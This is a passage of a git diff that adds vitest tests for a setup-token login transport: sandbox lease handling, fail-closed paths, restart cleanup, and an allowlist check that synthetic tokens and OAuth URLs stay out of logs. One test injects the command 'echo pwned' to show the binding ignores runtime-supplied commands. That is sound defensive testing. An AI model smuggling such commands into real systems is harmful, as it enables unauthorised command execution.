+        .from(adapterAuthSessions)
+        .where(
+          and(
+            eq(adapterAuthSessions.adapterType, SETUP_TOKEN_ADAPTER_TYPE),
+            or(
+              inArray(adapterAuthSessions.status, [...SETUP_TOKEN_TERMINAL_STATES]),
+              lte(adapterAuthSessions.expiresAt, new Date(now)),
+              isNotNull(adapterAuthSessions.boundAt),
+            ),
+          ),
+        );
+      return rows.map(toCleanupRecord);
+    },
+
+    async consumeStoredClaim(identity): Promise<SetupTokenCleanupRecord | null> {
+      // One conditional write. The predicate carries the company, the owner, the
+      // adapter, the session id, `status = stored`, an unexpired deadline, and an
+      // unconsumed marker. It checks the deadline with `clock_timestamp()`, so the
+      // database evaluates the current time after any row-lock wait. An expired
+      // claim cannot pass the deadline condition. The write sets `bound_at` one
+      // time and returns the row only on a valid consume.
+      const changed = await db
+        .update(adapterAuthSessions)
+        .set({ boundAt: sql`clock_timestamp()`, updatedAt: sql`clock_timestamp()` })
+        .where(
+          and(
+            scopeMatch(identity),
+            eq(adapterAuthSessions.status, "stored"),
+            gt(adapterAuthSessions.expiresAt, sql`clock_timestamp()`),
+            isNull(adapterAuthSessions.boundAt),
+          ),
+        )
+        .returning();
+      const row = changed[0];
+      return row ? toCleanupRecord(row) : null;
+    },
+  };
+}
diff --git a/server/src/services/setup-token-transport-binding.test.ts b/server/src/services/setup-token-transport-binding.test.ts
new file mode 100644
index 00000000000..c0f2cdb9d13
--- /dev/null
+++ b/server/src/services/setup-token-transport-binding.test.ts
@@ -0,0 +1,891 @@
+import { describe, expect, it, vi } from "vitest";
+
+import {
+  buildClaudeOAuthWriteInput,
+  buildSetupTokenLoginTransport,
+  createProductionSetupTokenSandboxProvider,
+  createSetupTokenSecretWriter,
+  createWorkerBoundSetupTokenPtyOpener,
+  type SetupTokenSandboxProvider,
+} from "./setup-token-transport-binding.js";
+import {
+  SetupTokenSessionService,
+  isTerminalSessionState,
+  type SetupTokenCleanupIdentity,
+  type SetupTokenCleanupRecord,
+  type SetupTokenCleanupStore,
+  type SetupTokenLoginProcess,
+  type SetupTokenSessionScope,
+  type SetupTokenSessionState,
+} from "./setup-token-session.js";
+import type { SetupTokenPtySessionOpener } from "@paperclipai/adapter-utils/setup-token-transport";
+import {
+  CLAUDE_SETUP_TOKEN_COMMAND,
+  SETUP_TOKEN_AFTER_ANCHOR,
+  SETUP_TOKEN_BEFORE_ANCHOR,
+} from "@paperclipai/adapter-claude-local/server";
+
+// The owner scope for one login session. The per-owner session cap is one, so one
+// scope holds one live session.
+const SCOPE: SetupTokenSessionScope = {
+  companyId: "company-1",
+  ownerUserId: "user-1",
+  adapterType: "claude_local",
+  environmentId: "env-1",
+};
+
+/** Waits for the pending microtasks and macrotasks to settle. */
+function flush(): Promise<void> {
+  return new Promise((resolve) => setImmediate(resolve));
+}
+
+/**
+ * A controllable fake sandbox. It records the opened command and every released
+ * lease id. It drives the login process to a terminal outcome through the exit
+ * promise, so a test simulates a process failure, a timeout, or a cancel.
+ */
+function createFakeSandbox() {
+  const openedCommands: string[] = [];
+  const releasedLeaseIds: string[] = [];
+  let acquireCount = 0;
+  let killed = false;
+  let resolveExit: (value: { exitCode: number | null }) => void = () => {};
+  const exit = new Promise<{ exitCode: number | null }>((resolve) => {
+    resolveExit = resolve;
+  });
+
+  const openPtySession: SetupTokenPtySessionOpener = async (command) => {
+    openedCommands.push(command);
+    return {
+      onData(): void {},
+      write(): void {},
+      wait: () => exit,
+      kill(): void {
+        killed = true;
+        resolveExit({ exitCode: 137 });
+      },
+      async close(): Promise<void> {},
+    };
+  };
+
+  const provider: SetupTokenSandboxProvider = {
+    async acquire() {
+      acquireCount += 1;
+      return { leaseId: `lease-${acquireCount}`, openPtySession };
+    },
+    async release(leaseId) {
+      releasedLeaseIds.push(leaseId);
+    },
+  };
+
+  return {
+    provider,
+    openedCommands,
+    releasedLeaseIds,
+    get acquireCount() {
+      return acquireCount;
+    },
+    get killed() {
+      return killed;
+    },
+    finishProcess(exitCode: number | null): void {
+      resolveExit({ exitCode });
+    },
+  };
+}
+
+/**
+ * An in-memory cleanup store that records every write. It stands in for the
+ * durable database-backed store, so a test asserts the service runs its cleanup
+ * against the injected store.
+ */
+function createRecordingStore() {
+  const rows = new Map<string, SetupTokenCleanupRecord>();
+  const removed: string[] = [];
+  const stateWrites: Array<{ sessionId: string; state: SetupTokenSessionState }> = [];
+  let reapable: SetupTokenCleanupRecord[] = [];
+
+  const store: SetupTokenCleanupStore = {
+    async record(record) {
+      rows.set(record.sessionId, { ...record });
+    },
+    async markState(identity: SetupTokenCleanupIdentity, state) {
+      stateWrites.push({ sessionId: identity.sessionId, state });
+      const row = rows.get(identity.sessionId);
+      if (row) row.state = state;
+    },
+    async remove(identity) {
+      removed.push(identity.sessionId);
+      rows.delete(identity.sessionId);
+    },
+    async listReapable() {
+      return reapable;
+    },
+    async consumeStoredClaim() {
+      return null;
+    },
+  };
+
+  return {
+    store,
+    rows,
+    removed,
+    stateWrites,
+    setReapable(records: SetupTokenCleanupRecord[]): void {
+      reapable = records;
+    },
+  };
+}
+
+/** A permissive rate limiter, so the start path never rate-limits in a test. */
+const allowAllRateLimiter = { consume: () => ({ allowed: true, retryAfterSeconds: 0 }) };
+
+function buildService(input: {
+  sandbox: SetupTokenSandboxProvider;
+  store: SetupTokenCleanupStore;
+  ttlMs?: number;
+}) {
+  const transport = buildSetupTokenLoginTransport({
+    sandbox: input.sandbox,
+    store: input.store,
+  });
+  const service = new SetupTokenSessionService({
+    factory: transport.factory,
+    leases: transport.leases,
+    store: transport.store,
+    // The secret write stays a fail-closed default here. This phase does not bind
+    // the owner-bound secret writer.
+    completeCredential: async () => {
+      throw new Error("The credential write is not bound in this phase.");
+    },
+    rateLimiter: allowAllRateLimiter,
+    ttlMs: input.ttlMs ?? 5 * 60_000,
+  });
+  return { service, transport };
+}
+
+describe("setup-token production transport binding", () => {
+  it("creates a live session with the transport bound and opens only the fixed command", async () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    const { service } = buildService({ sandbox: sandbox.provider, store: store.store });
+
+    const started = await service.start(SCOPE);
+    await flush();
+
+    // The start returned a session id instead of the fixed 503.
+    expect(typeof started.sessionId).toBe("string");
+    expect(started.sessionId.length).toBeGreaterThan(0);
+    // The lease manager acquired one production lease.
+    expect(sandbox.acquireCount).toBe(1);
+    // The factory opened the pseudo-terminal with only the fixed command.
+    expect(sandbox.openedCommands).toEqual([CLAUDE_SETUP_TOKEN_COMMAND]);
+    // The service persisted the non-secret cleanup record at start.
+    expect(store.rows.get(started.sessionId)?.leaseId).toBe("lease-1");
+
+    await service.shutdown();
+  });
+
+  it("releases the lease and cleans the durable store on a process failure", async () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    const { service } = buildService({ sandbox: sandbox.provider, store: store.store });
+
+    const started = await service.start(SCOPE);
+    await flush();
+
+    // The login process ends with a non-zero exit code.
+    sandbox.finishProcess(1);
+    await flush();
+    await flush();
+
+    expect(sandbox.releasedLeaseIds).toEqual(["lease-1"]);
+    expect(store.removed).toContain(started.sessionId);
+    expect(store.rows.has(started.sessionId)).toBe(false);
+  });
+
+  it("releases the lease and cleans the durable store on a cancel", async () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    const { service } = buildService({ sandbox: sandbox.provider, store: store.store });
+
+    const started = await service.start(SCOPE);
+    await flush();
+
+    await service.cancel(started.sessionId, SCOPE);
+    await flush();
+
+    expect(sandbox.releasedLeaseIds).toEqual(["lease-1"]);
+    expect(sandbox.killed).toBe(true);
+    expect(store.removed).toContain(started.sessionId);
+  });
+
+  it("releases the lease and cleans the durable store on a timeout expiry", async () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    const { service } = buildService({ sandbox: sandbox.provider, store: store.store });
+
+    const started = await service.start(SCOPE);
+    await flush();
+
+    await service.expire(started.sessionId, SCOPE);
+    await flush();
+
+    expect(sandbox.releasedLeaseIds).toEqual(["lease-1"]);
+    expect(store.removed).toContain(started.sessionId);
+  });
+
+  it("cancels every live session and releases the lease on shutdown", async () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    const { service } = buildService({ sandbox: sandbox.provider, store: store.store });
+
+    const started = await service.start(SCOPE);
+    await flush();
+
+    await service.shutdown();
+    await flush();
+
+    expect(sandbox.releasedLeaseIds).toEqual(["lease-1"]);
+    expect(store.removed).toContain(started.sessionId);
+    expect(service.activeSessionCount()).toBe(0);
+  });
+
+  it("ignores a runtime-supplied command and always opens the fixed command", async () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    // A caller forces an alternate command through the dependency object. The
+    // dependency type carries no command field, so this cast simulates a
+    // runtime-supplied value from a route, a body, or a configuration. The
+    // binding must ignore it and open only the fixed command.
+    const deps = {
+      sandbox: sandbox.provider,
+      store: store.store,
+      command: "echo pwned",
+    } as unknown as Parameters<typeof buildSetupTokenLoginTransport>[0];
+    const transport = buildSetupTokenLoginTransport(deps);
+    const service = new SetupTokenSessionService({
+      factory: transport.factory,
+      leases: transport.leases,
+      store: transport.store,
+      completeCredential: async () => {
+        throw new Error("The credential write is not bound in this phase.");
+      },
+      rateLimiter: allowAllRateLimiter,
+      ttlMs: 5 * 60_000,
+    });
+
+    const started = await service.start(SCOPE);
+    await flush();
+
+    // The factory opened the pseudo-terminal with only the fixed command. The
+    // supplied alternate value never reached the command.
+    expect(sandbox.openedCommands).toEqual([CLAUDE_SETUP_TOKEN_COMMAND]);
+    expect(sandbox.openedCommands).not.toContain("echo pwned");
+
+    void started;
+    await service.shutdown();
+  });
+
+  it("keeps the durable cleanup record reapable when a restart release fails", async () => {
+    // The production provider drives a restart release by id. The provider driver
+    // release rejects, so the reaper must keep the durable cleanup record.
+    const releaseRunLease = vi.fn(async () => {
+      throw new Error("remote release failed");
+    });
+    const provider = createProductionSetupTokenSandboxProvider({
+      environments: {
+        getById: async () => ({ id: "env-1", driver: "sandbox", status: "active" }) as never,
+        getLeaseById: async () => ({ id: "lease-orphan", environmentId: "env-1" }) as never,
+        releaseLease: async () => ({}) as never,
+      },
+      environmentRuntime: {
+        acquireRunLease: vi.fn(),
+        getDriver: () => ({ releaseRunLease }) as never,
+      },
+      openLivePtySession: async () => {
+        throw new Error("must not open a pty for a restart release");
+      },
+    });
+    const store = createRecordingStore();
+    const { service } = buildService({ sandbox: provider, store: store.store });
+
+    // A crash left a durable record whose lease the reaper must free. The
+    // in-memory lease map is empty, as after a restart.
+    const orphan: SetupTokenCleanupRecord = {
+      sessionId: "orphan-session",
+      companyId: SCOPE.companyId,
+      ownerUserId: SCOPE.ownerUserId,
+      adapterType: SCOPE.adapterType,
+      environmentId: SCOPE.environmentId,
+      leaseId: "lease-orphan",
+      deadline: 0,
+      state: "failed",
+      boundAt: null,
+    };
+    store.rows.set(orphan.sessionId, { ...orphan });
+    store.setReapable([orphan]);
+
+    const result = await service.reap(Date.now());
+
+    // The remote release ran and failed, so the reaper counts a failure and keeps
+    // the durable cleanup record for a later retry.
+    expect(releaseRunLease).toHaveBeenCalledTimes(1);
+    expect(result).toEqual({ released: 0, failed: 1 });
+    expect(store.removed).not.toContain("orphan-session");
+    expect(store.rows.has("orphan-session")).toBe(true);
+  });
+
+  it("releases a leftover lease by id on a restart reap", async () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    const { service } = buildService({ sandbox: sandbox.provider, store: store.store });
+
+    // A crash left a durable record whose lease the reaper must free after a
+    // restart. No live session references it.
+    const orphan: SetupTokenCleanupRecord = {
+      sessionId: "orphan-session",
+      companyId: SCOPE.companyId,
+      ownerUserId: SCOPE.ownerUserId,
+      adapterType: SCOPE.adapterType,
+      environmentId: SCOPE.environmentId,
+      leaseId: "lease-orphan",
+      deadline: 0,
+      state: "failed",
+      boundAt: null,
+    };
+    store.setReapable([orphan]);
+
+    const result = await service.reap(Date.now());
+
+    expect(result).toEqual({ released: 1, failed: 0 });
+    expect(sandbox.releasedLeaseIds).toEqual(["lease-orphan"]);
+    expect(store.removed).toContain("orphan-session");
+  });
+});
+
+describe("production sandbox provider", () => {
+  it("fails closed before it acquires a lease when the live opener is not bound", async () => {
+    const acquireRunLease = vi.fn();
+    const provider = createProductionSetupTokenSandboxProvider({
+      environments: {
+        getById: async () => ({ id: "env-1", driver: "sandbox", status: "active" }) as never,
+        getLeaseById: async () => null,
+        releaseLease: async () => ({}) as never,
+      },
+      environmentRuntime: {
+        acquireRunLease,
+        getDriver: () => null,
+      },
+      // No `openLivePtySession`: the live path lands with the
+      // characterization test.
+    });
+
+    await expect(provider.acquire({ scope: SCOPE, deadline: Date.now() + 1000 })).rejects.toMatchObject({
+      status: 503,
+    });
+    // The provider held no lease, so it never acquired one.
+    expect(acquireRunLease).not.toHaveBeenCalled();
+  });
+
+  it("fails closed for a local environment", async () => {
+    const provider = createProductionSetupTokenSandboxProvider({
+      environments: {
+        getById: async () => ({ id: "env-1", driver: "local", status: "active" }) as never,
+        getLeaseById: async () => null,
+        releaseLease: async () => ({}) as never,
+      },
+      environmentRuntime: {
+        acquireRunLease: vi.fn(),
+        getDriver: () => null,
+      },
+      openLivePtySession: async () => {
+        throw new Error("must not reach the opener for a local environment");
+      },
+    });
+
+    await expect(provider.acquire({ scope: SCOPE, deadline: Date.now() + 1000 })).rejects.toMatchObject({
+      status: 503,
+    });
+  });
+
+  it("acquires a lease and binds the live opener when it is present", async () => {
+    const openPtySession: SetupTokenPtySessionOpener = async () => ({
+      onData(): void {},
+      write(): void {},
+      wait: async () => ({ exitCode: 0 }),
+      kill(): void {},
+      async close(): Promise<void> {},
+    });
+    const releaseRunLease = vi.fn(async () => null);
+    const deadline = Date.now() + 1000;
+    const provider = createProductionSetupTokenSandboxProvider({
+      environments: {
+        getById: async () => ({ id: "env-1", name: "Sandbox", driver: "sandbox", status: "active" }) as never,
+        getLeaseById: async () => null,
+        releaseLease: async () => ({}) as never,
+      },
+      environmentRuntime: {
+        acquireRunLease: async () =>
+          ({
+            environment: { id: "env-1", driver: "sandbox" },
+            // The runtime bounds the lease expiry to the session deadline.
+            lease: { id: "lease-live", expiresAt: new Date(deadline - 1) },
+            leaseContext: {},
+          }) as never,
+        getDriver: () => ({ releaseRunLease }) as never,
+      },
+      openLivePtySession: async () => openPtySession,
+    });
+
+    const acquired = await provider.acquire({ scope: SCOPE, deadline });
+    expect(acquired.leaseId).toBe("lease-live");
+
+    await provider.release(acquired.leaseId);
+    expect(releaseRunLease).toHaveBeenCalledTimes(1);
+  });
+
+  it("forwards the session deadline and records a lease expiry at or before it", async () => {
+    const openPtySession: SetupTokenPtySessionOpener = async () => ({
+      onData(): void {},
+      write(): void {},
+      wait: async () => ({ exitCode: 0 }),
+      kill(): void {},
+      async close(): Promise<void> {},
+    });
+    const releaseRunLease = vi.fn(async () => null);
+    const deadline = Date.now() + 60_000;
+    let forwardedExpiresAt: Date | null | undefined;
+    const provider = createProductionSetupTokenSandboxProvider({
+      environments: {
+        getById: async () => ({ id: "env-1", name: "Sandbox", driver: "sandbox", status: "active" }) as never,
+        getLeaseById: async () => null,
+        releaseLease: async () => ({}) as never,
+      },
+      environmentRuntime: {
+        // The runtime records the provider-attested expiry. Here the provider
+        // grants an expiry at or before the requested deadline.
+        acquireRunLease: async (input: { requestedExpiresAt?: Date | null }) => {
+          forwardedExpiresAt = input.requestedExpiresAt;
+          const bounded = new Date(Math.min(deadline, deadline + 5_000));
+          return {
+            environment: { id: "env-1", driver: "sandbox" },
+            lease: { id: "lease-live", expiresAt: bounded },
+            leaseContext: {},
+          } as never;
+        },
+        getDriver: () => ({ releaseRunLease }) as never,
+      },
+      openLivePtySession: async () => openPtySession,
+    });
+
+    const acquired = await provider.acquire({ scope: SCOPE, deadline });
+
+    // The provider forwarded the session deadline to the runtime acquire.
+    expect(forwardedExpiresAt).toBeInstanceOf(Date);
+    expect((forwardedExpiresAt as Date).getTime()).toBe(deadline);
+    expect(acquired.leaseId).toBe("lease-live");
+    // The lease held no expiry after the deadline.
+    expect(releaseRunLease).not.toHaveBeenCalled();
+  });
+
+  it("releases the remote lease and fails closed when the acquired expiry is absent, invalid, or later", async () => {
+    const deadline = Date.now() + 60_000;
+    const cases: Array<{ label: string; expiresAt: unknown }> = [
+      { label: "absent", expiresAt: null },
+      { label: "invalid", expiresAt: new Date("not-a-date") },
+      { label: "later", expiresAt: new Date(deadline + 1) },
+    ];
+
+    for (const testCase of cases) {
+      const releaseRunLease = vi.fn(async () => null);
+      const openLivePtySession = vi.fn(async () => {
+        throw new Error("must not open a pty for an unbounded lease");
+      });
+      const provider = createProductionSetupTokenSandboxProvider({
+        environments: {
+          getById: async () => ({ id: "env-1", name: "Sandbox", driver: "sandbox", status: "active" }) as never,
+          getLeaseById: async () => null,
+          releaseLease: async () => ({}) as never,
+        },
+        environmentRuntime: {
+          acquireRunLease: async () =>
+            ({
+              environment: { id: "env-1", driver: "sandbox" },
+              lease: { id: "lease-unbounded", expiresAt: testCase.expiresAt },
+              leaseContext: {},
+            }) as never,
+          getDriver: () => ({ releaseRunLease }) as never,
+        },
+        openLivePtySession,
+      });
+
+      await expect(provider.acquire({ scope: SCOPE, deadline })).rejects.toMatchObject({
+        status: 503,
+      });
+      // The provider released the acquired remote lease through the driver.
+      expect(releaseRunLease, testCase.label).toHaveBeenCalledTimes(1);
+      // The provider failed closed before it opened the login pseudo-terminal.
+      expect(openLivePtySession, testCase.label).not.toHaveBeenCalled();
+    }
+  });
+
+  it("runs the provider driver release by id for a fresh instance with an empty lease map", async () => {
+    // A fresh provider instance holds no in-memory lease record, as after a
+    // restart. The release must resolve the stored lease and its environment and
+    // run the provider driver release, not only the database row write.
+    const releaseRunLease = vi.fn(async () => null);
+    const releaseLease = vi.fn(async () => ({}) as never);
+    const getLeaseById = vi.fn(async () => ({ id: "lease-restart", environmentId: "env-1" }) as never);
+    const getById = vi.fn(async () => ({ id: "env-1", driver: "sandbox", status: "active" }) as never);
+    const provider = createProductionSetupTokenSandboxProvider({
+      environments: { getById, getLeaseById, releaseLease },
+      environmentRuntime: {
+        acquireRunLease: vi.fn(),
+        getDriver: () => ({ releaseRunLease }) as never,
+      },
+      openLivePtySession: async () => {
+        throw new Error("must not open a pty for a restart release");
+      },
+    });
+
+    await provider.release("lease-restart");
+
+    // The provider resolved the lease by id and released through the driver.
+    expect(getLeaseById).toHaveBeenCalledWith("lease-restart");
+    expect(releaseRunLease).toHaveBeenCalledTimes(1);
+    // The provider tore down the remote sandbox through the driver, not only the
+    // database lease row.
+    expect(releaseLease).not.toHaveBeenCalled();
+  });
+});
+
+describe("worker-bound live pseudo-terminal opener", () => {
+  it("resolves the lease to its provider lease id and drives the worker route gate", async () => {
+    const session = {
+      onData: () => {},
+      write: () => {},
+      wait: async () => ({ exitCode: 0 }),
+      kill: () => {},
+      close: async () => {},
+    };
+    const openSetupTokenPtySession = vi.fn(async () => session);
+    const getLeaseById = vi.fn(async () => ({
+      providerLeaseId: "provider-lease-9",
+      metadata: { pluginId: "paperclip.daytona", provider: "daytona" },
+    }));
+
+    const openLivePtySession = createWorkerBoundSetupTokenPtyOpener({
+      workerManager: { openSetupTokenPtySession },
+      environments: { getLeaseById },
+    });
+
+    const opener = await openLivePtySession({
+      scope: SCOPE,
+      environmentId: "env-1",
+      leaseId: "lease-42",
+    });
+    // The opener resolved the server lease id to the provider lease id.
+    expect(getLeaseById).toHaveBeenCalledWith("lease-42");
+
+    const opened = await opener("claude setup-token");
+    // The opener drove the manager route gate with the resolved worker target and
+    // the fixed command. The manager mints the host route id, so the opener passes
+    // none.
+    expect(openSetupTokenPtySession).toHaveBeenCalledWith("paperclip.daytona", {
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      providerLeaseId: "provider-lease-9",
+      command: "claude setup-token",
+    });
+    expect(opened).toBe(session);
+  });
+
+  it("fails closed when the lease carries no sandbox worker binding", async () => {
+    const openSetupTokenPtySession = vi.fn();
+    const openLivePtySession = createWorkerBoundSetupTokenPtyOpener({
+      workerManager: { openSetupTokenPtySession },
+      // The lease resolves but carries no provider lease id or plugin id.
+      environments: {
+        getLeaseById: async () => ({ providerLeaseId: null, metadata: {} }),
+      },
+    });
+
+    await expect(
+      openLivePtySession({ scope: SCOPE, environmentId: "env-1", leaseId: "lease-42" }),
+    ).rejects.toMatchObject({ status: 503 });
+    // The opener never reached the worker manager.
+    expect(openSetupTokenPtySession).not.toHaveBeenCalled();
+  });
+
+  it("fails closed when the lease is missing", async () => {
+    const openLivePtySession = createWorkerBoundSetupTokenPtyOpener({
+      workerManager: { openSetupTokenPtySession: vi.fn() },
+      environments: { getLeaseById: async () => null },
+    });
+
+    await expect(
+      openLivePtySession({ scope: SCOPE, environmentId: "env-1", leaseId: "missing" }),
+    ).rejects.toMatchObject({ status: 503 });
+  });
+});
+
+// The fixed, closed set of diagnostic lines the login runner emits. The runner
+// is the sole producer. Every line is an approved non-secret literal. The
+// application binding forwards each line verbatim, so a captured line must be a
+// member of this set.
+const DIAGNOSTIC_ALLOWLIST = new Set<string>([
+  "[paperclip] Setup-token login: the process stop step errored.",
+  "[paperclip] Setup-token login: the driver dispose step errored.",
+  "[paperclip] Setup-token login: the code input step errored.",
+  "[paperclip] Setup-token login: sent the browser code to the prompt.",
+  "[paperclip] Setup-token login: delivered the credential to the sink.",
+  "[paperclip] Setup-token login: the credential delivery step errored.",
+  "[paperclip] Setup-token login cancelled before start.",
+  "[paperclip] Setup-token login timed out; stopping the process.",
+  "[paperclip] Setup-token login cancelled; stopping the process.",
+  "[paperclip] Setup-token login command ended with a non-zero exit code.",
+  "[paperclip] Setup-token login: the credential did not land; treating the run as a failure.",
+  "[paperclip] Setup-token login: surfaced the sign-in prompt.",
+  "[paperclip] Setup-token login command ended successfully.",
+]);
+
+// Synthetic sentinels. No real secret is present. The tests assert that no
+// captured diagnostic line carries any of these values, so the binding never
+// leaks the token, the browser code, or the authorization URL to a log.
+const TOKEN_SENTINEL = "sk-ant-oat01-SENTINELTOKENAAAAAAAAAAAA";
+const BROWSER_CODE_SENTINEL = "SENTINEL-BROWSER-CODE";
+const URL_CLIENT_SENTINEL = "sentinelurlclient";
+// Each query value satisfies the shape contract the parser enforces: a 43-to-128
+// character `code_challenge`, a 16-to-256 character `state`, and the one pinned
+// `redirect_uri`. The `client_id` stays the sentinel, so the leak checks still
+// prove the client id never reaches a log line.
+const AUTHORIZATION_URL_SENTINEL =
+  "https://claude.com/cai/oauth/authorize" +
+  `?client_id=${URL_CLIENT_SENTINEL}` +
+  "&code=redacted" +
+  "&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM" +
+  "&code_challenge_method=S256" +
+  "&redirect_uri=https%3A%2F%2Fplatform.claude.com%2Foauth%2Fcode%2Fcallback" +
+  "&response_type=code" +
+  "&scope=user%3Ainference" +
+  "&state=Xy7Kd2Pq9Rn4Vb8Lf1Mw6Zc3Hj0Tg5Us";
+
+// A complete sign-in prompt block. The parser binds the authorization URL to
+// the preamble and the prompt line after it.
+const PROMPT_OUTPUT = [
+  "Browser didn’t open? Use the url below to sign in (c to copy)",
+  AUTHORIZATION_URL_SENTINEL,
+  "Paste code here if prompted >",
+].join("\n");
+
+// A complete success record. The parser binds the token between the two
+// anchors.
+const CREDENTIAL_OUTPUT = [
+  "✓ Long-lived authentication token created successfully!",
+  "",
+  SETUP_TOKEN_BEFORE_ANCHOR,
+  "",
+  TOKEN_SENTINEL,
+  "",
+  SETUP_TOKEN_AFTER_ANCHOR,
+].join("\n");
+
+/**
+ * A fake sandbox that streams controllable output. The test emits the prompt
+ * block and the credential block on demand, and it ends the login process with
+ * a chosen exit code. The runner drives its full diagnostic path over this
+ * fake, so the test captures every line the binding forwards.
+ */
+function createStreamingSandbox() {
+  let listener: ((chunk: string) => void) | null = null;
+  let resolveExit: (value: { exitCode: number | null }) => void = () => {};
+  const exit = new Promise<{ exitCode: number | null }>((resolve) => {
+    resolveExit = resolve;
+  });
+  const writes: string[] = [];
+
+  const openPtySession: SetupTokenPtySessionOpener = async () => ({
+    onData(next): void {
+      listener = next;
+    },
+    write(data): void {
+      writes.push(data);
+    },
+    wait: () => exit,
+    kill(): void {
+      resolveExit({ exitCode: 137 });
+    },
+    async close(): Promise<void> {},
+  });
+
+  const provider: SetupTokenSandboxProvider = {
+    async acquire() {
+      return { leaseId: "lease-1", openPtySession };
+    },
+    async release() {},
+  };
+
+  return {
+    provider,
+    emit(chunk: string): void {
+      listener?.(chunk);
+    },
+    finishProcess(exitCode: number | null): void {
+      resolveExit({ exitCode });
+    },
+    get writes() {
+      return writes;
+    },
+  };
+}
+
+/** Waits `ms` milliseconds of real time, so the code-submit settle can pass. */
+function delay(ms: number): Promise<void> {
+  return new Promise((resolve) => setTimeout(resolve, ms));
+}
+
+/**
+ * Drives one login run through the binding factory and returns every captured
+ * diagnostic line. The caller controls the run through `drive`, so one call
+ * exercises the success path and another exercises the failure path. The `drive`
+ * callback receives the sandbox and the process handle.
+ */
+async function captureDiagnostics(
+  drive: (
+    sandbox: ReturnType<typeof createStreamingSandbox>,
+    process: SetupTokenLoginProcess,
+  ) => Promise<void>,
+): Promise<string[]> {
+  const captured: string[] = [];
+  const sandbox = createStreamingSandbox();
+  const store = createRecordingStore();
+  const transport = buildSetupTokenLoginTransport({
+    sandbox: sandbox.provider,
+    store: store.store,
+    log: (line) => captured.push(line),
+  });
+
+  await transport.leases.acquire({ scope: SCOPE, deadline: Date.now() + 60_000 });
+  const controller = new AbortController();
+  const process = transport.factory({
+    scope: SCOPE,
+    onPrompt: () => {},
+    onCredential: async () => {},
+    timeoutMs: 60_000,
+    signal: controller.signal,
+  });
+  // Let the transport open the session and register the output listener before
+  // the driver emits any output.
+  await flush();
+
+  await drive(sandbox, process);
+  await process.done;
+  await flush();
+  return captured;
+}
+
+/** Asserts a captured diagnostic set is allowlisted and carries no secret. */
+function expectSafeDiagnostics(captured: string[]): void {
+  for (const line of captured) {
+    expect(DIAGNOSTIC_ALLOWLIST.has(line), line).toBe(true);
+  }
+  const joined = captured.join("\n");
+  expect(joined).not.toContain(TOKEN_SENTINEL);
+  expect(joined).not.toContain(BROWSER_CODE_SENTINEL);
+  expect(joined).not.toContain(AUTHORIZATION_URL_SENTINEL);
+  expect(joined).not.toContain(URL_CLIENT_SENTINEL);
+}
+
+describe("setup-token production transport binding diagnostics", () => {
+  it("forwards only allowlisted, non-secret diagnostics on a success path", async () => {
+    const captured = await captureDiagnostics(async (sandbox, process) => {
+      // Surface the prompt. The runner logs the prompt line and starts the code
+      // input step, which waits for the browser code.
+      sandbox.emit(PROMPT_OUTPUT);
+      await flush();
+      // Submit the browser code. The runner writes the code, lets the paste
+      // buffer settle, writes the Enter byte, and logs the code-sent line.
+      process.submitCode(BROWSER_CODE_SENTINEL);
+      await delay(250);
+      // Deliver the token, then end the process cleanly. The runner binds the
+      // token, delivers it to the sink, and logs the success line.
+      sandbox.emit(CREDENTIAL_OUTPUT);
+      sandbox.finishProcess(0);
+    });
+
+    // The run reached the success lines, so the capture is not empty.
+    expect(captured).toContain("[paperclip] Setup-token login: surfaced the sign-in prompt.");
+    expect(captured).toContain(
+      "[paperclip] Setup-token login: delivered the credential to the sink.",
+    );
+    expect(captured).toContain("[paperclip] Setup-token login command ended successfully.");
+    // The runner sent the browser code, so the code-input path ran. The code
+    // still never reaches a log line.
+    expect(captured).toContain("[paperclip] Setup-token login: sent the browser code to the prompt.");
+    expectSafeDiagnostics(captured);
+  });
+
+  it("forwards only allowlisted, non-secret diagnostics on a failure path", async () => {
+    const captured = await captureDiagnostics(async (sandbox, process) => {
+      void process;
+      // The login process ends with a non-zero exit code before any prompt.
+      sandbox.finishProcess(1);
+    });
+
+    expect(captured).toContain(
+      "[paperclip] Setup-token login command ended with a non-zero exit code.",
+    );
+    expectSafeDiagnostics(captured);
+  });
+});
+
+// A compile-time guard: a terminal state helper stays importable for the tests.
+void isTerminalSessionState;
+
+// A synthetic token. No real token is present. The tests assert the token never
+// reaches a log or an error message.
+const SYNTH_TOKEN = "sk-ant-oat01-SYNTHETICSYNTHETICSYNTHETIC01";
+
+describe("buildClaudeOAuthWriteInput", () => {
+  it("maps a scope with no overwrite to a first_write input", () => {
+    const input = buildClaudeOAuthWriteInput(SCOPE, "session-7", SYNTH_TOKEN);
+    expect(input).toEqual({ sessionId: "session-7", mode: "first_write", value: SYNTH_TOKEN });
+  });
+
+  it("maps a scope with the overwrite capture to a confirmed_rotation input", () => {
+    const overwriteScope: SetupTokenSessionScope = {
+      ...SCOPE,
+      confirmedOverwrite: { expectedSecretId: "secret-9", expectedLatestVersion: 4 },
+    };
+    const input = buildClaudeOAuthWriteInput(overwriteScope, "session-8", SYNTH_TOKEN);
+    expect(input).toEqual({
+      sessionId: "session-8",
+      mode: "confirmed_rotation",
+      value: SYNTH_TOKEN,
+      expectedSecretId: "secret-9",
+      expectedLatestVersion: 4,
+    });
+  });
+});
+
+describe("createSetupTokenSecretWriter wiring", () => {
+  it("carries the writer through the transport binding to the router", () => {
+    const sandbox = createFakeSandbox();
+    const store = createRecordingStore();
+    // The writer never runs here; a stub db is enough to assert the binding
+    // forwards the writer reference to the router.
+    const writer = createSetupTokenSecretWriter({ db: {} as never });
+
+    const transport = buildSetupTokenLoginTransport({
+      sandbox: sandbox.provider,
+      store: store.store,
+      completeCredential: writer,
+    });
+
+    // The binding forwards the writer, so the router uses the real atomic write
+    // instead of the deferred fail-closed default.
+    expect(transport.completeCredential).toBe(writer);
+  });
+});
diff --git a/server/src/services/setup-token-transport-binding.ts b/server/src/services/setup-token-transport-binding.ts
new file mode 100644
index 00000000000..a0606a12cd9
